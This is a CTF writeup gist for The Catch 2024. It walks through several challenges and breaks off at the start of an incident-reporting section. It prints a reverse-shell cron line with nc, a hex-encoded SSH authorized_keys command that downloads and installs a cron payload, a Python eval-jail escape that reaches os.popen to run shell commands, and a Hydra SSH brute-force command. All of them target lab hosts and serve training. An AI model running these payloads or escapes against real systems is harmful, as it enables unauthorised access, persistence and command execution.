Skip to content

Instantly share code, notes, and snippets.

@rendm2
Last active November 2, 2024 16:31
Show Gist options
  • Select an option

  • Save rendm2/1fb63a3d190951b85b47e95de9bfbf00 to your computer and use it in GitHub Desktop.

Select an option

Save rendm2/1fb63a3d190951b85b47e95de9bfbf00 to your computer and use it in GitHub Desktop.

The Catch 2024 Writeup

Another October, another The Catch CTF. :-)

I am glad I could participate again but due to the limited amount of time I could dedicate to the CTF. I started late (no First Blood award this time), and I only solved a ~7 non-trivial challenges. Thanks to the organizers for the nice challenges. Snake game and Leonidas are my favorites this year.

Here are some notes which are hopefully useful to somebody dealing with similar tasks, or anyone who just likes reading CTF writeups. ;-)

List of solved challenges

Blacked-out PDF

We get a PDF document with redacted parts of the text. Selecting and copy-pasting the masked values from Preview (a PDF viewer shipped with macOS) into a text editor (as plain text without formatting) revealed the contents.

FLAG{uBlQ-wB81-0Bhr-2ylo}

VPN Access

We are given an OpenVPN configuration file and two URLs, one leading to a website accessible only via IPv4 and one accessible only via IPv6.

This was the probably the most unpleasant challenge to solve, not because of the challenge itself, but because of the bad state of VPN configuration/apps on macOS. (Or maybe just because of incompatibility with my installed SW etc.)

On macOS Sonoma (and possibly other) connecting to IPv6-only websites does not work, at least with the Tunnelblick OpenVPN client. Manual resolving of the hostname using dig @IP_addr_of_the_DNS_server AAAA hostname worked and the connection with ping6 or nc -6 when using the IPv6 address worked well, but the system DNS resolver does not even try to get AAAA records from the DNS server.

The resolver needs to be convinced to resolve AAAA/IPv6 addresses. This used to be possible using the scutil command, manually configuring the IPv6 address for the vpn interface. (Perhaps it still is possible [based on this comment in a Github issue], I just did not manage to get it working within reasonable amount of time.)

I also tried manually setting the VPN's DNS resolver (10.99.0.1) in the IPv6 format (::ffff:10.99.0.1 or ::ffff:a63:1), without any change. I even added it to the OpenVPN config as "dhcp-option DNS ::ffff:10.99.0.1" or "DNS6", assuming it might matter to the system whether the IPv6 resolver is known during the setup of the interface.

Finally, I switched to the OpenVPN client app Viscosity, which ended up working after forcing "Full DNS (Use VPN DNS for all traffic)" in its VPN profile settings: Network. Even "Split DNS" with the tcc domain was enough. Strangely, in either case, the connection sometimes worked only the first time after launching Viscosity (not for the second time unless Viscosity was closed and re-opened). Otherwise it failed to connect or failed to resolve anything (even IPv4).

Once the VPN connection works, visiting the two websites (to verify IPv4-only and IPv6-only connections work), we get the two parts of the flag: FLAG{Hgku-58OA and -Hsrn-03Zr}.

Personal portal

We get a URL (http://perso.cypherfix.tcc/) leading to a login page with username and password fields, "Login" button and a "Help" link. The "Help" link leads to "http://perso.cypherfix.tcc/files?file=help.html", which looks suspicious: possible file inclusion aka. arbitrary file read. Visiting the link shows a directory listing with a few files, one of which is meeting2024-09-05.md. Clicking the file in the directory listing (or passing its filename in the ?file= parameter) downloads it. This file ends with:

Signature code: 

RkxBR3tZemZOLVo5UlAtb2MxUC1hdURvfQo=

This is actually the flag rather than a signature, which can be decoded (from Base64) e.g. with CyberChef (https://cyberchef.io/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=Umt4QlIzdFplbVpPTFZvNVVsQXRiMk14VUMxaGRVUnZmUW89)

FLAG{YzfN-Z9RP-oc1P-auDo}

Request of cooperation

An exercise in how IPv6 addresses are generated in stateless autoconfiguration (SLAAC).

We are given a network prefix and a MAC address of a computer running a webserver at port 1701:

Network Range: 2001:db8:7cc::/64  
Device media access control address: 00ca.7ad0.ea71  

Based on the rules (RFC 4862 and EUI-64), e.g. described in a more readable manner here, we add "FFFE" in the middle of the MAC address, flip its 7th most significant bit (or 2nd least significant bit of the first byte) to get the EUI-64 version of the MAC (02CA7AFFFED0EA71), and concatenate it with the prefix, filling in zeroes (or using "::")...

We get the required information (incl. flag) by visiting http://[2001:db8:7cc:0:2ca:7aff:fed0:ea71]:1701/ or curl 'http://\[2001:db8:7cc:0000:02CA:7AFF:FED0:EA71\]:1701/'

FLAG{Sxwr-slvA-pBuT-CzyD}

Long secure password

We are given a PNG image: a "password card", which is a 26x19 table (regular 2D grid) with letters. This table is supposed to contain a password, read in a crossword style (8 directions) by walking from a starting position in a direction for a certain number of steps. A hint tells us the password length is 18 characters. Our goal is to find the password, which is used by a given user on a given SSH server (futurethinker@password-card-rules.cypherfix.tcc).

The table looks like a pretty low-entropy way of generating a password: an upper bound (disregarding stopping at the borders): 26*19*8 < 4000 possible options. All we need is to try the options.

First we need to convert the table into a machine-readable format. The built-in OCR in macOS (Preview) needed some cleanup (removing extra spaces and row numbers), but overall saved quite a bit of work rewriting the table. Once that is done, we can try all the starting positions and all directions, and print the password candidates.

We can get the possible passwords e.g. with a simple Python script like this:

s='''
SQUIRELL*JUDGE*NEWS*LESSON
WORRY*UPDATE*SEAFOOD*CROSS
CHAPTER*SPEEDBUMP*CHECKERS
PHONE*HOPE*NOTEBOOK*ORANGE
CARTOONS*CLEAN*TODAY*ENTER
ZEBRA*PATH*VALUABLE*MARINE
VOLUME*REDUCE*LETTUCE*GOAL
BUFFALOS*THE*CATCH*SUPREME
LONG*OCTOPUS*SEASON*SCHEME
CARAVAN*TOBACCO*WORM*XENON
PUPPYLIKE*WHATEVER*POPULAR
SALAD*UNKNOWN*SQUATS*AUDIT
HOUR*NEWBORN*TURN*WORKSHOP
USEFUL*OFFSHORE*TOAST*BOOK
COMPANY*FREQUENCY*NINETEEN
AMOUNT*CREATE*HOUSE*FOREST
BATTERY*GOLDEN*ROOT*WHEELS
SHEEP*HOLIDAY*APPLE*LAWYER
SUMMER*HORSE*WATER*SULPHUR
'''.strip().split('\n')

t = [list(r) for r in s] # the table for "t[row][col]" access
num_rows = len(t)
num_cols = len(t[0])

directions = [
    (-1, -1),
    (-1, 0),
    (-1, +1),
    (0, -1),
    #(0, 0). # not leading anywhere
    (0, +1),
    (1, -1),
    (1, 0),
    (1, +1),
]

passwords = set()
# start position (row, col) and direction
for start_row in range(num_rows):
    for start_col in range(num_cols):
        for direction in directions:
            row, col = start_row, start_col
            password = t[row][col]
            while True:
                if len(password) == 18:
                    passwords.add(password) # correct length -> save
                # move in the direction
                row, col = row + direction[0], col + direction[1]
                if not (row >= 0 and row < num_rows and col >= 0 and col < num_cols):
                    break # outside
                password += t[row][col]

with open('passwords.txt', mode='w') as f:
    for pw in passwords:
        f.write(f'{pw}\n')

The script is not optimized: we could e.g. continue (skip) after reaching the desired length. NOT try directions that would cross the border before reaching 18 characters etc., but since there are definitely less than 4000 options, we don't need to bother. :D

It turns out there are ~518 possible passwords, which the script stores into passwords.txt.

We can then try all the passwords using the previously generated list of passwords e.g. using Hydra:

hydra -I futurethinker -P /home/kali/passwords.txt -t 16 password-card-rules.cypherfix.tcc ssh  

which finds the correct password for us:

[22][ssh] host: password-card-rules.cypherfix.tcc   login: futurethinker   password: SAOPUNUKTPHCANEMFW  

Logging in over SSH tells us the flag:

ssh futurethinker@password-card-rules.cypherfix.tcc  
futurethinker@password-card-rules.cypherfix.tcc's password: [entered the password]
Nobody will ever read this message anyway, because the TCC password card is super secure. Even my lunch access-code is safe here: FLAG{uNZm-GGVK-JbxV-1DIx}  

Leonidas

Our task is to determine what is happening on a device, which is periodically connecting to a botnet control server. We are given (apart from other not-so-necessary details) a hostname, username and an SSH key.

Logging in via SSH shows a pretty bare-bones Debian 12 install (likely running inside a Docker container, based on some filenames and the format of generated hostname) with almost nothing running (as shown by ps aux). Surprisingly, top -c shows a few extra processes, including netcat (nc) and bash with suspicious arguments:

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND  
[...]
1393165 testuser  20   0    3924   3104   2836 S   0.0   0.0   0:00.00 bash -c `#! /bin/bash`;eval $(echo 6375726c202d73202d4120274c656f6e69646173212049206861+  

Although we could read and then decode the whole command (cat /proc/1393165/cmdline, or still in top just scroll to the right and copy-paste ... yes, it contains the flag), we should probably focus on figuring out how it got executed.

But first, let's see why ps gives us a different result. On Linux, the /proc filesystem is the ground truth for information about running processes, and top seems to be aligned with the PIDs in /proc, so ps should be investigated for tampering. which ps shows that ps lives in /usr/local/bin/ps, and on a closer look it is just a script faking an almost empty ps output. Mystery solved.

Back to our main task. There are various places where evil (or legitimate) processes can be automatically executed from. Some commands/programs/scripts are run during system boot/initialization and other system-wide occasions: /etc/inittab, /etc/rc.*, etc.). Shell initialization scripts (/etc/profile, .profile, .bashrc etc.) are run when user logs in. CRON and systemd timers can run things periodically without user activity - we should keep that in mind.

Looking around the user profile, there are a few visible files, which are not relevant to the investigation, and a few suspicious invisible files, like .cron, initiating a reverse shell connection every 5 minutes:

*/5 * * *  nc 203.0.113.144 44444 -e /bin/bash  

While the file is harmless (AFAIK, CRON does not look at this file on its own; it would become harmful only after adding to CRON), it is an indicator that something shady was going on. How did the file get there? We can keep looking around for other clues...

In .ssh/authorized_keys, we find the list of public keys, which are allowed to log in to the user account (often without password). Extra options like disabling X11 forwarding can be specified here. Here we find this mess:

no-user-rc,no-X11-forwarding,command="`#! /bin/bash\`;eval $(echo 6375726c202d73202d4120274c656f6e69646173212049206861766520707265706172656420627265616b6661737420616e6420617465206865617274696c792e2e2e20466f7220746f6e696768742c2077652064696e6520696e2068656c6c2121205530633564324a48624442615657784655465661545646565a44645a5747513057564d784e4531556248424d565752445932706a64475177526b7057626a41392720687474703a2f2f31302e39392e32342e32343a38302f2e63726f6e202d6f202e63726f6e3b2063726f6e746162202e63726f6e20323e202f6465762f6e756c6c3b2f62696e2f62617368 | xxd -r -ps)" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNGDvmucMzlKsOPWMBe7v9F37+1RVbw8CCpH1582MNz9FaURIV6R3jTI2pZP0fOqe1jMlOHuzjAp6Vl6rHrlxxDPuHObTCXCOIRflezC4h1+SU+crnhXK+X6aKc2M28/OxIWZRguTjYg0jVAIi2Z1iN/cd+YBuNDU3NjCDBSUshJFDDYR4y9uvstLqK28hfRRdvxm5bhyBh2NXxcDtcKpRAnVfI4pL5QL3PbaB/WzVtcEpKMTvLb99UYg+iAK60wpXvG4FmJL8WlqSqJj7Ci9Xi/51EHJpJksVTdGgwwpS6CSz7Inlxt7u5fRM/741sHuqrFxfsQOmZXUAOKmGGZjXdIwGoqVczHUQm16tBwg9gjs0ba85VSLtFmFP2rMxDjUV11NxteE1PyzCe2npOEtPl0rCJVnadaI4Ie30eEmEBclJRmcD7XC089VdjxHnyae+j1zABjeJ7pFn53GW/X+Dqehoa/WYWjQDfkbVwqU4kAchGvWi+avQAlb6J6cUIK+C4AKddNB8jO1tjEXLnK1SdAVgTYZP8SAxlPjhnIl9xif69baO1vm123On/3sfow4/zQLFKR3oRroJKhTLV1vxjQMxUcnxnG7vbZWE9yR+4y/N5F7fV+uJs9/OYI4BTVEHR6ZlpGKK+j/SGHf1rWtM1RIANtQK4YPRDQFntvLoWQ== testuser@cypherfix.tcc  

The command="[...]" here is another way to automatically run a command (on user login). This one runs a hexadecimal-encoded script:

curl -s -A 'Leonidas! I have prepared breakfast and ate heartily... For tonight, we dine in hell!! U0c5d2JHbDBaVWxFUFVaTVFVZDdZWGQ0WVMxNE1UbHBMVWRDY2pjdGQwRkpWbjA9' http://10.99.24.24:80/.cron -o .cron; crontab .cron 2> /dev/null;/bin/bash  

This explains how the .cron file appeared (downloaded by curl), and that it tries to be installed into CRON. The -A argument (HTTP user agent) has a message for the botnet C&C server, which is interesting to us. After decoding the Base64 string (twice, actually: link to CyerChef), we get the flag.

FLAG{awxa-x19i-GBr7-wAIV}

Note: The shell did save history, which was quite annoying ... having to copy-paste or re-type previous command instead of just pressing the up arrow. Also disallowing even read access to user's crontab was a little confusing. While it slightly breaks the immersion, it looks like a reasonable limitation to prevent CTF participants from seeing each other's commands and messing with the configuration.

Snake game

We are given a hostname and port for a service interpreting (limited) Python code. Not much information is provided, so we explore the attack surface, and try to figure out how/where the flag is stored and how to get it...

$ nc snakegame.leisure.tcc 23001  
Hello, I can only speak Python, show me your code.  
Enter your code : 1338-1  
1337  

-> we can evaluate expressions

Enter your code : "a b".split()  
['a', 'b']

-> object methods can be called

Enter your code : (lambda x: x-1)(1338)  
1337

-> and lambda functions as well

Enter your code : \
I'm confused - unexpected character after line continuation character (<string>, line 1)

-> syntax errors and exceptions are handled and printed

Enter your code : f=1;f  
I'm confused - invalid syntax (<string>, line 1)  

-> we can't assign or run multiple commands

Enter your code : b"\x40".decode("utf-8")
@

-> We can obfuscate strings using hexadecimal, if needed. The "utf-8" can be omitted.

It seems we can execute:

  • single-line expression
  • no assignments
  • timeout 30s (disregarding whether anything is being typed)
Enter your code : '  
This is not allowed: '  

Some characters and strings are not allowed. For example these are disallowed (blacklisted):

  • characters: ' (apostrophes), +, *, and "" (2x quotes)
  • keywords: eval, open, os, import, and possibly other "dangerous" things

The environment does not have built-in functions (exit(), print(), dir(). etc.)

Then I considered if perhaps a pre-compiled bytecode could be passed there, or if a long input would break something, but did not test these out.

What I did was hypothesize about how the server-side eval is implemented. When looking at the docs, I saw that global and local variables can be hidden from the evaluated code, which is likely to be used here.

Possible implementation (rough pseudocode disregarding sockets etc.):

def on_connection():

    print('''Hello, I can only speak Python, show me your code.
Enter your code : ''')

    received_expression=input()
    if is_forbidden(received_expression):  
        print('This is not allowed: ...'); exit()  
    try:
        eval(received_expression, {}, {}) # do not pass locals and globals
    except:
        print('I\'m confused ...')  

That's as far as I got on my own. Then I started searching online on how/if eval() can be implemented safely to get possible clues about what to try out.

https://stackoverflow.com/a/35806044 shows we can reach the internal object type of Python using f-string. A post at https://www.floyd.ch/?p=584 describes how to access builtins using object.__subclasses__() from inside of an eval that un-defines them.

Let's dive into Python internals. Here are a few important bits:

  • We can get an object's class with .__class__.
  • Each object has a base (aka. parent) class, which can be found with .__base__. There is one universal class/object called object, from which all classes are derived (directly or transitively).
  • Python tracks the class hierarchy also in the downward direction: we can find out which objects are derived from a given one with .__subclasses__().

Putting these together, we can take any object, find its class, then walk through its parent, grandparent, ... until we reach the universal object. Then we can look at its derived .__subclasses__(), choose any, and e.g. call methods on it.

Let's see what classes are available:

Enter your code : f"{().__class__.__base__.__subclasses__()}"
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.DistutilsMetaFinder'>, <class '_distutils_hack.shim'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.pairwise'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.KeyWrapper'>, <class 'functools._lru_list_elem'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'enum.nonmember'>, <class 'enum.member'>, <class 'enum._auto_null'>, <class 'enum.auto'>, <class 'enum._proto_member'>, <enum 'Enum'>, <class 'enum.verify'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 're._parser.State'>, <class 're._parser.SubPattern'>, <class 're._parser.Tokenizer'>, <class 're.RegexFlag'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>]

The list seems pretty standard, compared to what I got on my machine.

Ideally, we would want to get arbitrary command execution, therefore _frozen_importlib.BuiltinImporter looks useful to import os.system or a similar function. Local exploration (dir(a_thing_to_inspect))) and experiments on my machine lead to this expression:

f"{list(filter(lambda x: x.__name__.__contains__("uiltinImporte"), ().__class__.__base__.__subclasses__()))[0].load_module('os').system('id')}"  

This expression (at least on my computer) executes the standard id utility, giving us the username, UID, group name etc. of the user who executed it. Note that "uiltinImporte" is used instead of the full class name to avoid the blacklist.

Technically, the system method returns only the return code, and the output is printed to the standard output. This would be a problem if the system and the TCP server was running as the same process rather than the server launching a separate program with our command, whose output is captured. To stay safe, let's use popen, which returns an object from which we can get the output with .read().

By the way, it turns out that an f-string is not necessary and we can write an expression directly. ().__class__.__base__.__subclasses__() evaluates as well.

Unfortunately, filtering the available classes by substring (f"{list(filter(lambda x: x.__name__.__contains__("uiltinImporte"), ().__class__.__base__.__subclasses__()))[0]}") yields an error I'm confused - f-string: unmatched '(' (<string>, line 1), likely due to the nested quotes. Also, filter and list are undefined builtins.

But we can get the BuiltinImporter without, using its order by indexing the list of subclasses:

Enter your code : `().__class__.__base__.__subclasses__()[107]`
<class '_frozen_importlib.BuiltinImporter'>

To get around the blacklisted os string, let's obfuscate it (hexadecimal "bytes", then decode):

Enter your code : ().__class__.__base__.__subclasses__()[107].load_module(b"\x6F\x73".decode())
<module 'os' (built-in)>

Now we just need to call the popen method, which is blacklisted too (the string open is blacklisted).

To call a method by name (a string), we could use getattr(), but that is also a built-in function, which is not accessible. We can use its low-level variant .__getattribute__ instead. For example a call to the join method in "a".join(["1", "2"]) can be re-written like this:

Enter your code : "a".__getattribute__("join")(["1","2"])
1a2  

Let's try this with os.popen:

Enter your code : ().__class__.__base__.__subclasses__()[107].load_module(b"\x6F\x73".decode()).__getattribute__(b"\x70\x6F\x70\x65\x6E".decode())
<function popen at 0x7fbdfc05e8e0>  

Now we can just call it by providing the command in parentheses. To get the command's output as string, we need to use .read():

Enter your code : ().__class__.__base__.__subclasses__()[107].load_module(b"\x6F\x73".decode()).__getattribute__(b"\x70\x6F\x70\x65\x6E".decode())("id").read()

This gives us an empty output, but perhaps this is just a fluke? The id utility may be missing. Let's try something simpler:

Enter your code : ().__class__.__base__.__subclasses__()[107].load_module(b"\x6F\x73".decode()).__getattribute__(b"\x70\x6F\x70\x65\x6E".decode())("echo rendm").read()
rendm  

Yay, we can run shell commands! Let's explore.

Enter your code : ().__class__.__base__.__subclasses__()[107].load_module(b"\x6F\x73".decode()).__getattribute__(b"\x70\x6F\x70\x65\x6E".decode())("pwd").read()
/home/pyjail
Enter your code : ().__class__.__base__.__subclasses__()[107].load_module(b"\x6F\x73".decode()).__getattribute__(b"\x70\x6F\x70\x65\x6E".decode())("ls -la").read()
total 28
drwxr-x--- 1 root pyjail 4096 Oct  3 08:34 .
drwxr-xr-x 1 root root   4096 Oct  3 08:34 ..
-rwxr-xr-x 1 root pyjail   99 Oct  3 08:34 .bashrc
drwxrwxrwx 1 root pyjail 4096 Oct  3 08:34 bin
-rwxr--r-- 1 root pyjail   30 Oct  3 08:34 search-in-root-directory.hint
-rwxr-xr-x 1 root pyjail   46 Oct  3 08:34 start.sh
drwxr-xr-x 1 root pyjail 4096 Oct  3 08:34 venv

Note the file search-in-root-directory.hint -> we are told to look into the "/" directory

Enter your code : ().__class__.__base__.__subclasses__()[107].load_module(b"\x6F\x73".decode()).__getattribute__(b"\x70\x6F\x70\x65\x6E".decode())("ls -la /").read()
total 64
drwxr-xr-x   1 root root 4096 Oct  3 08:38 .
drwxr-xr-x   1 root root 4096 Oct  3 08:38 ..
-rwxr-xr-x   1 root root    0 Oct  3 08:38 .dockerenv
lrwxrwxrwx   1 root root    7 Sep 26 00:00 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Aug 14 16:10 boot
drwxr-xr-x   5 root root  340 Oct  3 08:38 dev
-rwxrwxrwx   1 root root  188 Oct  3 08:34 entrypoint.sh
drwxr-xr-x   1 root root 4096 Oct  3 08:38 etc
-r--r--r--   1 root root   26 Oct  3 08:38 flag.txt
[...]

The flag.txt is here and everyone is allowed to read its contents. Let's read it.

Enter your code : ().__class__.__base__.__subclasses__()[107].load_module(b"\x6F\x73".decode()).__getattribute__(b"\x70\x6F\x70\x65\x6E".decode())("cat /flag.txt").read()

Nothing? That's strange.

Further exploration shows the PATH contains almost nothing: only Python and a few adjacent tools. (The set command lists all variables defined in the shell.) Calls to non-existing commands like cat exit with error code 127 (not found), which can be seen by adding ; echo $? after the desired command. Therefore we would need to use Python to read the flag (passing it the flag-reading code in the -c command line argument), or use Bash builtins to e.g. read the flag contents to a variable and then echo it, or we can simply specify the full path to cat, which lives in /bin:

Enter your code : ().__class__.__base__.__subclasses__()[107].load_module(b"\x6F\x73".decode()).__getattribute__(b"\x70\x6F\x70\x65\x6E".decode())("/bin/cat /flag.txt").read()
FLAG{lY4D-GJaQ-VUks-PNQd}  

Old service

We are given a hostname (supersecureservice.cypherfix.tcc), which does not exist in the current DNS anymore, but we have access to an older DNS server (ns6-old.tcc), which knows it.

$ dig @ns6-old.tcc supersecureservice.cypherfix.tcc

; <<>> DiG 9.10.6 <<>> @ns6-old.tcc supersecureservice.cypherfix.tcc  
; (1 server found)  
;; global options: +cmd  
;; Got answer:  
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17199  
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1  
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:  
; EDNS: version: 0, flags:; udp: 1232  
;; QUESTION SECTION:  
;supersecureservice.cypherfix.tcc. IN    A

;; ANSWER SECTION:  
supersecureservice.cypherfix.tcc. 86400    IN A    10.99.24.21

;; Query time: 31 msec  
;; SERVER: 10.99.24.20#53(10.99.24.20)  
;; WHEN: Tue Oct 22 11:40:44 CEST 2024  
;; MSG SIZE  rcvd: 77  

Thankfully, the server also responds to the "ANY" query:

$ dig ANY @ns6-old.tcc supersecureservice.cypherfix.tcc
[...]
;; ANSWER SECTION:  
supersecureservice.cypherfix.tcc. 86400    IN TXT    "Super secure service in testing mode, any records are hipsters friendly!"  
supersecureservice.cypherfix.tcc. 86400    IN HINFO "TCC 686" "TCC-OS 20.20"  
**supersecureservice.cypherfix.tcc. 86400    IN TYPE64 \# 80 00021F77656233732D37343638363536333631373436333638333233 30333233343209637970686572666978037463630000010015026832 0268330E6D616E6461746F72793D616C706E000300021F54  
**supersecureservice.cypherfix.tcc. 86400    IN TYPE64 \# 79 00011E77656233732D37343638363536333631373436333638333233 30333233340963797068657266697803746363000001001502683202 68330E6D616E6461746F72793D616C706E000300021F54  
supersecureservice.cypherfix.tcc. 86400    IN TYPE64 \# 80 00041F77656233732D37343638363536333631373436333638333233 30333233343309637970686572666978037463630000010015026832 0268330E6D616E6461746F72793D616C706E000300021F54  
supersecureservice.cypherfix.tcc. 86400    IN A    10.99.24.21  
supersecureservice.cypherfix.tcc. 86400    IN AAAA    2001:db8:7cc::24:21

;; Query time: 50 msec  
;; SERVER: 10.99.24.20#53(10.99.24.20)  
;; WHEN: Tue Oct 22 11:47:56 CEST 2024  
;; MSG SIZE  rcvd: 498  

The TYPE64 records look suspicious, interpreting them as hexadecimal gives us the following (contains non-printable characters):

...web3s-7468656361746368323032343    cypherfix.tcc......h2.h3.mandatory=alpn.....T  

This seems to contain a domain name, and searching for "ALPN" online leads us to RFC7301 about protocol negotiation on the application layer.

Attempting blind manual decoding one of the longer "TYPE64" record, employing some guesswork:

0004
    4 sub-records?  

1F
    length=31  

77656233 732D3734 36383635 36333631 37343633 36383332 33303332 333433  
    "web3s-7468656361746368323032343"  

09  
    length=9  

63797068 65726669 78  
    "cypherfix"  

03  
    length=3  

746363  
    "tcc"  

00000100 15  
    ???  

02  
    length=2  

6832  
    "h2"  

02  
    length=2  

6833  
    "h3"  

0E  
    length=14  

6D616E64 61746F72 793D616C 706E  
    mandatory=alpn  

00030002 1F54  
    ?

Outcomes:

  • some more info is present but it is not clear how to decode it
  • the hostname web3s-7468656361746368323032343.cypherfix.tcc the hostname does not seem to resolve to any IP address; but the hostname from the shorter TYPE64 record does:
$ dig ANY @10.99.0.1 web3s-746865636174636832303234.cypherfix.tcc
[...]
;; ANSWER SECTION:  
web3s-746865636174636832303234.cypherfix.tcc. 60 IN A 10.99.24.21  
web3s-746865636174636832303234.cypherfix.tcc. 60 IN AAAA 2001:db8:7cc::24:21

Let's try a more systematic approach. Searching for "DNS type64" points us to the "SVCB" (Service Binding) record from in RFC9460, which describes a "General-purpose service binding". Apparently, parsing it is implemented in Wireshark, which will save us some work, so we capture the VPN tun interface and re-run the dig ANY ... query. Relevant part of the DNS response:

supersecureservice.cypherfix.tcc: type SVCB, class IN  
    Name: supersecureservice.cypherfix.tcc  
    Type: SVCB (64) (General Purpose Service Endpoints)  
    Class: IN (0x0001)  
    Time to live: 86400 (1 day)  
    Data length: 79  
    SvcPriority: 1  
    TargetName: **web3s-746865636174636832303234.cypherfix.tcc**  
    SvcParam: alpn=h2,h3,mandatory=alpn  
    SvcParam: **port=8020**  

Visiting the host:port (http://web3s-746865636174636832303234.cypherfix.tcc:8020/) in a web browser shows a login webpage with the flag.

FLAG{yNx6-tH9y-hKtB-20k6}

Incident reporting

We are given a packet capture to analyze and report observed incidents to a webapp/webform.

After opening the pcap in Wireshark we can look at the IO graph and protocol hierarchy for overview. Then finding interesting packets: lots of similarly looking consecutive packets are likely automated (brute-force attacks or scanning?) and should be inspected. When an interesting packet is found, we write a filter to separate it (and similar ones) from the rest, get the affected IP range and start/end times, and find other required incident info based on the incident type. To show the UTC times in Wireshark, extra columns need to be added.

There are four separate incidents, or five if we count IP scanning and port scanning separately:

1. Brute-force

